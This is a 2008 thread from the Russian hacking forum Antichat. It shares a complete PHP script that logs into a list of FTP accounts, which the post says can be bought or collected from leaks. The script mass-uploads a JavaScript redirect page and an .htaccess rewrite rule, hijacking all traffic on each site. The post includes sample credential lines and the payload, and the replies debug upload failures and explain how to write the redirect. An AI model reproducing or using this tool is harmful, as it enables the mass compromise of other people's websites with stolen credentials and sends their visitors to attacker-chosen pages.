Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Скрипт для массовой заливки редиректеров на FTP |

03.11.2008, 16:48
|
|
Познавший АНТИЧАТ
Регистрация: 01.06.2008
Сообщений: 1,047
Провел на форуме: 5321514
Репутация:
3313
|
|
Скрипт для массовой заливки редиректеров на FTP
Описание:Скрипт обходит лист с фтп,
заливает страницу с редиректом и .htaccess, который перенаправляет все обращения к сайту на скрипт редиректа. Установка:
Лист с фтп должен быть вида( ftp.txt):
ftp://7kssir:k1@kliss.moy.su:21
ftp://7sela:selna1405@sele.moy.su:21
Сам скрипт:
PHP код:
<?php
set_time_limit(0);
ob_implicit_flush();
$ftps = file('ftp.txt'); #Лист с FTP
$namef = 'index.html'; #Файл для загрузки
$limit = count($ftps); #Кол-во фтп для закачки(в данном случае все)
$sleep = 1; #Задержка в секундах
$f2load = fopen($namef,'r');
$ht = fopen('1.htaccess','r');
$count = 0; #Кол-во валидных FTP.
foreach($ftps as $ftp)
{
#если достигнут лимит фрейма, то завершаем цикл
if($limit == $count)
{
break;
}
$ftp = trim($ftp);
$link = $ftp."/$namef";
$ch = curl_init($link);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_UPLOAD,1);
curl_setopt($ch,CURLOPT_INFILE,$f2load);
curl_setopt($ch,CURLOPT_FTPASCII,1);
curl_exec($ch);
curl_setopt($ch,CURLOPT_URL,$ftp.'/.htaccess');
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_UPLOAD,1);
curl_setopt($ch,CURLOPT_INFILE,$ht);
curl_setopt($ch,CURLOPT_FTPASCII,1);
curl_exec($ch);
curl_close($ch);
write('<a href="'.$link.'" target="_blank">[Ссылка]</a> до файла на '.$ftp.'');
$count++; #прибавляем кол-во обработанных фтп
sleep($sleep);
}
echo 'Обработано: '.$count.' ftp';
fclose($f2load);
fclose($ht);
function write($text)
{
echo $text.'<br>';
flush();
ob_flush();
}
?>
Необходимо создать в папке cо скриптом текстовый документ 1.htaccess следующего содержания:
PHP код:
RewriteEngine on
RewriteRule ^(.*)$ index.html
И еще один файл index.html с кодом редиректа.
Пример:
<script>document.location.href="ссылка для редиректа";</script>
Требует наличия cURL на сервере. Подойдет WAMPSERVER с включенным cURL.
P.S FTP можно купить, можно насобирать в раздачах.
P.P.S аналогичная программа продается за 200 wmz =)
Последний раз редактировалось ChaaK; 14.11.2008 в 18:15..
|
|
|

03.11.2008, 17:00
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме: 2459557
Репутация:
606
|
|
неплохо, вот тока где взять фтп столько..?
|
|
|

03.11.2008, 23:33
|
|
Reservists Of Antichat - Level 6
Регистрация: 19.03.2007
Сообщений: 953
Провел на форуме: 7617458
Репутация:
3965
|
|
Чаак крутой кодер) всё гуд
__________________
BlackHat. MoDL
|
|
|

12.11.2008, 10:44
|
|
Познающий
Регистрация: 09.05.2008
Сообщений: 67
Провел на форуме: 690048
Репутация:
13
|
|
как прописать редикт в index.html и в 1.htaccess?Пример нужен.
|
|
|

13.11.2008, 09:50
|
|
Постоянный
Регистрация: 19.10.2007
Сообщений: 523
Провел на форуме: 2025442
Репутация:
160
|
|
>fasty
в .htaccess можно так Redirect / http://mail.ru/?
|
|
|

14.11.2008, 00:56
|
|
Постоянный
Регистрация: 18.08.2007
Сообщений: 846
Провел на форуме: 5585816
Репутация:
1236
|
|
Чаак ты сам тестил его? У меня если в списке больше 20 фтп то не заливает хз чё такое=\ Какую оптимальную ставить задержку?
|
|
|

14.11.2008, 13:56
|
|
Постоянный
Регистрация: 18.08.2007
Сообщений: 846
Провел на форуме: 5585816
Репутация:
1236
|
|
Сообщение от ChaaK
Все работало, тестил. Оптимальная задержка - 0-2 секунды.
Что пишет скрипт?
Да ничё не пишет) Скрипт перестаёт грузится и страница чистая...
|
|
|

14.11.2008, 18:11
|
|
Постоянный
Регистрация: 18.08.2007
Сообщений: 846
Провел на форуме: 5585816
Репутация:
1236
|
|
Сообщение от ChaaK
Кэш вывода на сервере большой, наверное. Проверь заливает ли файлы?
Короче трабл в том что не на каждое фтп заливается файл хз почему =\ фтп валидное=\ Если сам отчекаю (т.е. выберу более ли менее нормальные хосты) фтп то тогда нормально льёт...
|
|
|

15.11.2008, 03:37
|
|
Постоянный
Регистрация: 19.10.2007
Сообщений: 523
Провел на форуме: 2025442
Репутация:
160
|
|
пасиб
|
|
|

06.01.2010, 14:22
|
|
Новичок
Регистрация: 26.05.2008
Сообщений: 10
Провел на форуме: 75830
Репутация:
-2
|
|
Спасибо
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|